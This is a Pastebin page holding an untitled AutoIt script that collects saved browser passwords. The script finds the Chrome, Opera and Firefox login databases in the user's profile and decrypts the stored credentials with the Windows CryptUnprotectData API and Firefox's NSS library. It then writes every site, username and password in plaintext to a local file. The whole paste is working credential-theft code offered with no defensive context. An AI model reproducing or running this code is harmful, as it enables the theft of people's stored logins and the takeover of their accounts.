Advertisement
Guest User

Untitled

a guest
Apr 29th, 2016
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.08 KB | None | 0 0
  1. #include <SQLite.au3>
  2.  
  3. Local $Password
  4. _Get_Chrome_Opera_Password($Password)
  5. _Firefox_Password_recovery($Password)
  6. filedelete("Password.TXT")
  7. FileWrite("Password.TXT", $Password)
  8.  
  9. Func _Get_Chrome_Opera_Password(ByRef $Password)
  10. _SQLite_Startup()
  11. If @error Then Return SetError(1)
  12. Local $tempLogindatadir = @ScriptDir & "\LData\"
  13. If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
  14. Local $LoginData = _Get_Logindata($tempLogindatadir)
  15. If Not @error Then
  16. For $io = 1 To $LoginData[0][0]
  17. _SQLite_Open($LoginData[$io][0])
  18. If Not @error Then
  19. Local $hQuery
  20. _SQLite_Query(-1, "SELECT * FROM logins;", $hQuery)
  21. If Not @error Then
  22. Local $aRow
  23. If $LoginData[$io][1] <> "" Then $Password &= @CRLF & "-------------------------[" & $LoginData[$io][1] & "]--------------------------" & @CRLF
  24. While _SQLite_FetchData($hQuery, $aRow, False, False) = $SQLITE_OK
  25. If UBound($aRow, 1) < 6 Then ContinueLoop
  26. $Password &= "Site: " & $aRow[0] & @CRLF & _
  27. "User: " & $aRow[3] & @CRLF & _
  28. "Password: " & UncryptRDPPassword($aRow[5]) & @CRLF & _
  29. "____________________________________________________________________" & @CRLF
  30. WEnd
  31. EndIf
  32. _SQLite_QueryFinalize($hQuery)
  33. _SQLite_Close()
  34. EndIf
  35. Next
  36. EndIf
  37. If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
  38. _SQLite_Shutdown()
  39. EndFunc ;==>_Get_Chrome_Opera_Password
  40. Func _Get_Logindata($TEmpdirlogindata)
  41. Local $AllProfileChrome[2][2]
  42. __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
  43. If Not @error Then $AllProfileChrome[1][1] = "Chrome Password"
  44. $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
  45. If Not @error Then
  46. ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  47. $AllProfileChrome[0][0] += 1
  48. $AllProfileChrome[$AllProfileChrome[0][0]][1] = "Opera Password"
  49. $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
  50. EndIf
  51. If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
  52. Return $AllProfileChrome
  53. EndFunc ;==>_Get_Logindata
  54. Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
  55. Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
  56. If Not FileExists($ChromePath) Then Return SetError(1)
  57. Local $Sname
  58. If FileExists($ChromePath & "Default\Login Data") Then
  59. $AllProfileChrome[0][0] = 1
  60. $Sname = $AllProfileChrome[0][0]
  61. FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
  62. If @error Then
  63. $ChromeCopyloginPath = $ChromePath & "Default\"
  64. $Sname = "Login Data"
  65. EndIf
  66. $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
  67. EndIf
  68. Local $search = FileFindFirstFile($ChromePath & "*.*")
  69. If $search = -1 Then Return SetError(2)
  70. While True
  71. Local $file = FileFindNextFile($search)
  72. If @error Then ExitLoop
  73. If Not @extended Then ContinueLoop
  74. If StringInStr($file, "Profile") > 0 Then
  75. If FileExists($ChromePath & $file & "\Login Data") Then
  76. ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  77. $AllProfileChrome[0][0] += 1
  78. $Sname = $AllProfileChrome[0][0]
  79. FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
  80. If @error Then
  81. $ChromeCopyloginPath = $ChromePath & $file & "\"
  82. $Sname = "Login Data"
  83. EndIf
  84. $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
  85. EndIf
  86. EndIf
  87. WEnd
  88. FileClose($search)
  89. If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
  90. EndFunc ;==>__ChromePassword_Find_LoginData
  91. Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
  92. Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
  93. If Not FileExists($OperaPath) Then Return SetError(1)
  94. FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
  95. If @error Then Return $OperaPath
  96. Return $OperaCopyloginPath & "Op"
  97. EndFunc ;==>__OPeraPassword_Find_LoginData
  98. Func UncryptRDPPassword($bin)
  99. ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
  100. Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
  101. Local Const $DATA_BLOB = "int;ptr"
  102.  
  103. Local $passStr = DllStructCreate("byte[1024]")
  104. Local $DataIn = DllStructCreate($DATA_BLOB)
  105. Local $DataOut = DllStructCreate($DATA_BLOB)
  106. $pwDescription = 'psw'
  107. $PwdHash = ""
  108.  
  109. DllStructSetData($DataOut, 1, 0)
  110. DllStructSetData($DataOut, 2, 0)
  111.  
  112. DllStructSetData($passStr, 1, $bin)
  113. DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
  114. DllStructSetData($DataIn, 1, BinaryLen($bin))
  115.  
  116. $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
  117. "ptr", DllStructGetPtr($DataIn), _
  118. "ptr", 0, _
  119. "ptr", 0, _
  120. "ptr", 0, _
  121. "ptr", 0, _
  122. "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
  123. "ptr", DllStructGetPtr($DataOut))
  124. If @error Then Return ""
  125.  
  126. $len = DllStructGetData($DataOut, 1)
  127. $PwdHash = Ptr(DllStructGetData($DataOut, 2))
  128. $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
  129. Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
  130. EndFunc ;==>UncryptRDPPassword
  131.  
  132. Func _Firefox_Password_recovery(ByRef $Password)
  133. Local $sFireFoxPath = _GetFireFoxinstallPath()
  134. If @error Then Return
  135.  
  136. Local $sFireFoxProfilePath = _FireFoxProFilePath()
  137. If @error Then Return
  138.  
  139. Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
  140. Local $ReadJson = FileRead($sJsonFile)
  141. If @error Or $ReadJson = "" Then Return
  142.  
  143. Local $aList = __GetJsonArray($ReadJson)
  144. If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then Return
  145.  
  146. Local $DllDecrypt = _GetFireFoxDllDecryptPath($sFireFoxPath)
  147. If @error Then Return
  148.  
  149. Local $h_mozglue = _WinAPI_LoadLibrary($DllDecrypt[1])
  150. If @error Then Return
  151. Local $h_msvcr = _WinAPI_LoadLibrary($DllDecrypt[2])
  152. If @error Then Return
  153. Local $h_msvcp = _WinAPI_LoadLibrary($DllDecrypt[3])
  154. If @error Then Return
  155.  
  156. Local $h_NSS3 = DllOpen($DllDecrypt[0])
  157. If Not @error Then
  158.  
  159. DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sFireFoxProfilePath)
  160. If Not @error Then
  161.  
  162. Local $hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
  163. If Not @error Then
  164. $hSlot = $hSlot[0]
  165.  
  166. $Password &= @CRLF & "-------------------------[Firefox Password]--------------------------" & @CRLF
  167. For $i = 0 To UBound($aList) - 1 Step 6
  168.  
  169. $Password &= "Site: " & $aList[$i + 1] & @CRLF & _
  170. "User: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 3]) & @CRLF & _
  171. "Password: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 5]) & @CRLF & _
  172. "____________________________________________________________________" & @CRLF
  173.  
  174. Next
  175.  
  176. DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
  177. EndIf
  178. DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
  179. EndIf
  180.  
  181. DllClose($h_NSS3)
  182. EndIf
  183.  
  184. _WinAPI_FreeLibrary($h_msvcr)
  185. _WinAPI_FreeLibrary($h_msvcp)
  186. _WinAPI_FreeLibrary($h_mozglue)
  187.  
  188. EndFunc ;==>_Firefox_Password_recovery
  189. Func __GetJsonArray($sData)
  190. Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
  191. Return $aList
  192. EndFunc ;==>__GetJsonArray
  193. Func _GetFireFoxDllDecryptPath($sFireFoxPath)
  194. Local $DLLdir[4]
  195. Local $msvcr = "msvcr100.dll"
  196. Local $msvcp = "msvcp100.dll"
  197. Local $mozglue = "mozglue.dll"
  198. Local $nss3 = "nss3.dll"
  199. If Not FileExists($sFireFoxPath & $mozglue) Or Not FileExists($sFireFoxPath & $nss3) Then Return SetError(1)
  200. $DLLdir[1] = $sFireFoxPath & $mozglue
  201. $DLLdir[0] = $sFireFoxPath & $nss3
  202. Local $findDll
  203. If Not FileExists(@SystemDir & '\' & $msvcr) Then
  204. $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcr")
  205. If @error Then Return SetError(3)
  206. $DLLdir[2] = $sFireFoxPath & $msvcr
  207. Else
  208. $DLLdir[2] = @SystemDir & '\' & $msvcr
  209. EndIf
  210. If Not FileExists(@SystemDir & '\' & $msvcp) Then
  211. $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcp")
  212. If @error Then Return SetError(3)
  213. $DLLdir[3] = $sFireFoxPath & $findDll
  214. Else
  215. $DLLdir[3] = @SystemDir & '\' & $msvcp
  216. EndIf
  217. Return $DLLdir
  218. EndFunc ;==>_GetFireFoxDllDecryptPath
  219. Func _GetFireFoxinstallPath()
  220. Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\"
  221. Local $F_Version = RegRead($sRegFireFox & "Mozilla Firefox", "currentversion")
  222. If $F_Version = "" Then Return SetError(1)
  223. Local $F_Path = RegRead("HKLM\SOFTWARE\mozilla\mozilla firefox\" & $F_Version & "\main", "install directory")
  224. If $F_Path = "" Then Return SetError(1)
  225. If Not FileExists($F_Path) Then SetError(1)
  226. Return $F_Path & "\"
  227. EndFunc ;==>_GetFireFoxinstallPath
  228. Func _FireFoxProFilePath()
  229. Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
  230. Local $Rduni = IniRead($sPath & "profiles.ini", "Profile0", "Path", "")
  231. If $Rduni = "" Then Return SetError(1)
  232. Return $sPath & $Rduni & "\"
  233. EndFunc ;==>_FireFoxProFilePath
  234. Func __FireFoxDecrypt($h_NSS3, $hSlot, $sCryptedData)
  235. Local $tByteData, $iRet, $dwSize, $DataIn, $DataOut, $tData
  236.  
  237. $tByteData = DllStructCreate("byte Data[1024]")
  238. $iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", 0x00000001, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
  239.  
  240. If Not @error Then
  241.  
  242. $dwSize = $iRet[5]
  243.  
  244. DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", 0)
  245. If @error Then Return ""
  246.  
  247. $DataIn = DllStructCreate("dword SECItemType;ptr Data;dword Len")
  248. DllStructSetData($DataIn, "Data", DllStructGetPtr($tByteData))
  249. DllStructSetData($DataIn, "len", $dwSize)
  250.  
  251. $DataOut = DllStructCreate("dword SECItemType;ptr Data;dword Len")
  252. DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", 0)
  253. If @error Then Return ""
  254.  
  255. $tData = DllStructCreate("char String[" & DllStructGetData($DataOut, "len") & "]", DllStructGetData($DataOut, "Data"))
  256. $sDecrypData = DllStructGetData($tData, "String")
  257.  
  258. Return $sDecrypData
  259.  
  260. EndIf
  261.  
  262. Return ""
  263. EndFunc ;==>FireFoxDecrypt
  264. Func _WinAPI_LoadLibrary($sFileName)
  265. Local $aResult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sFileName)
  266. If @error Then Return SetError(@error, @extended, 0)
  267. Return $aResult[0]
  268. EndFunc ;==>_WinAPI_LoadLibrary
  269. Func _WinAPI_FreeLibrary($hModule)
  270. Local $aResult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hModule)
  271. If @error Then Return SetError(@error, @extended, False)
  272. Return $aResult[0]
  273. EndFunc ;==>_WinAPI_FreeLibrary
  274. Func _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, $Sdll)
  275. Local $search = FileFindFirstFile($sFireFoxPath & "*.dll")
  276. If $search = -1 Then Return SetError(1)
  277. Local $SRDll
  278. While True
  279. Local $file = FileFindNextFile($search)
  280. If @error Then ExitLoop
  281. If StringInStr($file, $Sdll) > 0 Then
  282. $SRDll = $file
  283. ExitLoop
  284. EndIf
  285. WEnd
  286. FileClose($search)
  287. If $SRDll = "" Then Return SetError(2)
  288. Return $SRDll
  289. EndFunc ;==>_Find_Dll_IN_Mozilla_PAth
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement